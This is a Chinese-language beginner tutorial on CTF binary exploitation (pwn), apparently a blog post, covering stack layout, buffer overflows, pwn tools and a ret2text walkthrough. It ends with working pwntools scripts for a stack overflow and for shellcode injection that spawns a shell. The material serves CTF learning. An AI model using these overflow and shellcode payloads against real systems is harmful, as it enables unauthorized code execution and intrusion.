CTF比赛 二进制 PWN方入门：基础知识点精讲

目录

二进制基础

hack

可执行文件

小端序

两种汇编格式

栈溢出基础

函数调用栈

栈的结构

相关寄存器

函数调用栈

缓冲区溢出

PWN工具

软件工具

Python库

Linux系统工具

相关值利用

PWN步骤

以ret2text(32位)为例  

---

觉得这篇文章不错的话，欢迎收藏、点赞、评论，期待你的关注！

Reverse入门博客推荐：CTF比赛 Reverse 逆向方向：入门规划精讲-CSDN博客

PWN入门学习视频推荐：XMCVE CTF Pwn入门课程_哔哩哔哩_bilibili

二进制基础

hack

exploit 用于攻击的脚本与方案

payload 攻击载荷，是的目标进程被劫持控制流的数据

shellcode 调用攻击目标的shell的代码

可执行文件

	Windows：PE （Portable Executable）	Linux：ELF （Executable and Linkable Format）
可执行程序	.exe	.out
动态链接库	.dll	.so
静态链接库	.lib	.a

小端序

linux中，小端序存储的字符串是逆序的

低地址存放数据低位、高地址存放数据高位

两种汇编格式

intel	AT&T
mov ebx, 0ffffh	movl $0xffff, %ebx
mov eax, 8	movl $8, %eax
int 80h	int $80
mov eax, [ecx]	movl (%ecx), %eax

栈溢出基础

函数调用栈

函数调用栈是指程序运行时内存一段连续的区域。用来保存函数运行时的状态信息，包括函数参数与局部变量等。

称之为“栈”是因为发生函数调用时，调用函数（caller）的状态被保存在栈内，被调用函数（callee）的状态被压入调用栈的栈顶。在函数调用结束时，栈顶的函数（callee）状态被弹出，栈顶恢复到调用函数（caller）的状态。函数调用栈在内存中从高地址向低地址生长，所以栈顶对应的内存地址在压栈时变小，退栈时变大。

栈的结构

相关寄存器

32位函数状态主要涉及三个寄存器 —— esp，ebp，eip。

esp 用来存储函数调用栈的栈顶地址，在压栈和退栈时发生变化。ebp 用来存储当前函数状态的基地址，在函数运行时不变，可以用来索引确定函数参数或局部变量的位置。eip 用来存储即将执行的程序指令的地址，cpu 依照 eip 的存储内容读取指令并执行，eip 随之指向相邻的下一条指令，如此反复，程序就得以连续执行指令。

64位函数状态主要涉及寄存器 —— rsp，rbp。

32位一个地址是（32/8=）4字节，64位一个地址是（64/8=）8字节

函数调用栈

首先将被调用函数（callee）的参数按照逆序依次压入栈内。如果被调用函数（callee）不需要参数，则没有这一步骤。这些参数仍会保存在调用函数（caller）的函数状态内，之后压入栈内的数据都会作为被调用函数（callee）的函数状态来保存。

然后将调用函数（caller）进行调用之后的下一条指令地址作为返回地址压入栈内。这样调用函数（caller）的 eip（指令）信息得以保存。

再将当前的ebp 寄存器的值（也就是调用函数的基地址）压入栈内，并将 ebp 寄存器的值更新为当前栈顶的地址。这样调用函数（caller）的 ebp（基地址）信息得以保存。同时，ebp 被更新为被调用函数（callee）的基地址。

再之后是将被调用函数（callee）的局部变量等数据压入栈内。

缓冲区溢出

本质是向定长的缓冲区中写入了超长的数据，造成超出的数据覆写了合法内存区域。栈溢出（Stack overflow）最常见、漏洞比例最高、危害最大的二进制漏洞。

PWN工具

软件工具

IDA Pro 是一款流行的逆向工程和二进制代码分析工具。以下是一些常用的 IDA Pro 快捷键：

• 空格键 ：切换文本视图/图表视图
• Shift + F12 ：列出汇编语言代码中的字符串值，可由此找到main()函数位置
• F5 ：将汇编语言代码转换为C语言代码
• Esc ：返回上一层代码
• G ：跳转至指定地址
• C语言源码 全选 右击 选择copy to assembly ：C语言代码逐行粘贴到对应汇编代码处

Python库

• pwntools 是一个专门用于漏洞开发和CTF竞赛的Python库。

• LibcSearcher 是一个用于在已知 libc 版本下检索函数地址和移的工具。它可以帮助您快速定位 libc 中各种有用的函数的地址，如 system、/bin/sh 等。

Linux系统工具

• pwndbg 是一个用于调试和漏洞利用的gdb 工具插件。GDB（GNU Debugger）是一款流行的开源调试器，用于调试各种编程语言编写的程序。以下是一些常见的 pwndbg 指令：
  • b 或 break：设置断点。例如，b main 在 main函数处设置断点。
  • r 或 run：启动程序，并可选地传递输入参数。
  • continue 或 c：继续程序的执行，直到下一个断点或程序结束。
  • next 或 n：单步执行程序，跳过函数调用。
  • step 或 s：单步执行程序，进入函数调用。

• checksec 是一个用于检查二进制文件的安全特性的常用工具。它通常用于分析可执行文件、共享库等二进制文件的安全性配置。
• ROPgadget 是一个用于检索二进制文件中存在的 ROP（Return-oriented programming）操作链的工具。ROP 是一种利用程序中已存在的代码片段（称为 "gadgets"）来构建恶意执行流的攻击技术。

ROPgadget --binary  --only "" | grep "word"

• one_gadget 是一个用于自动搜索并生成 ROP 链的工具，它专门用于利用 libc 中特定 gadget 来构造payload。

相关值利用

• main_arena_offset 是指在堆管理中，main_arena 结构体在 libc 中的偏移量。堆管理器使用 main_arena 结构体来维护堆的状态，包括空闲链表、fast bins 等。

PWN步骤

以ret2text(32位)为例  

Pwn入门课程_bilibili  p2  1:59:00 开始

1. checksec 查看目标文件的安全性配置

checksec ret2text

• 架构（Arch）：如该二进制文件使用的是 i386 架构，即 32 位小端模式。

• RELRO：一个内存保护技术，全称为 "RELocation Read-Only"。如它被设置为 "Partial RELRO"，表示只有一部分重定位表被标记为只读，这意味着攻击者无法修改这些表的内容，但可以修改其他的重定位表项。

• 栈（Stack）：没有找到堆栈保护（canary），这意味着二进制文件中未启用堆栈溢出保护机制。在利用漏洞时，可以利用缓冲区溢出来覆盖控制流程。

• NX：NX 是 "No eXecute" 的缩写，表示内存中的代码段不可执行。在这里，若NX 被启用，则可防止任意代码执行漏洞。

• PIE：PIE 是 "Position Independent Executable" 的缩写，指示二进制文件是否在加载时启用了地址空间布局随机化。若没有启用 PIE，基址为 0x8048000。

2.IDA查看文件代码信息并分析

 gdb中用pwndbg调试，分析payload如何构造

gdb ret2text
b main
r
n
s
stack 24

       若权限不足则需要提高权限

ls ret2text
chmod u+x ret2text

3.编写exploit

from pwn import *
io = process("./ret2text")
#io = remote("106.54.129.202",10006) #打开远程连接
#io.recvline() #接收返回的信息 并换行
payload = b'A'*0x10 + b'BBBB' + p32(0x08048522) #pack 32/64位整数，byte 字节流 字符串
io.sendline(payload)
io.interactive()

注入shellcode

from pwn import *
io = process(" ./ret2shellcode")	#本地程序连接
#io = remote("106.54.129.202",10006) #远程端口连接
shellcode = asm(shellcraft.sh())	#构造后门函数
buf_addr = 0x804a080				#返回到源码中可以找到的存储地址（结合具体题目）
payload = shellcode.ljust(112,b'A') + p32(buf_addr)	#构造payload
io.sendline(payload)				#发送payload
io.interactive()					#打开交互页面

注入二进制形式shellcode，其中不满足112字节的用垃圾数据“A”填充。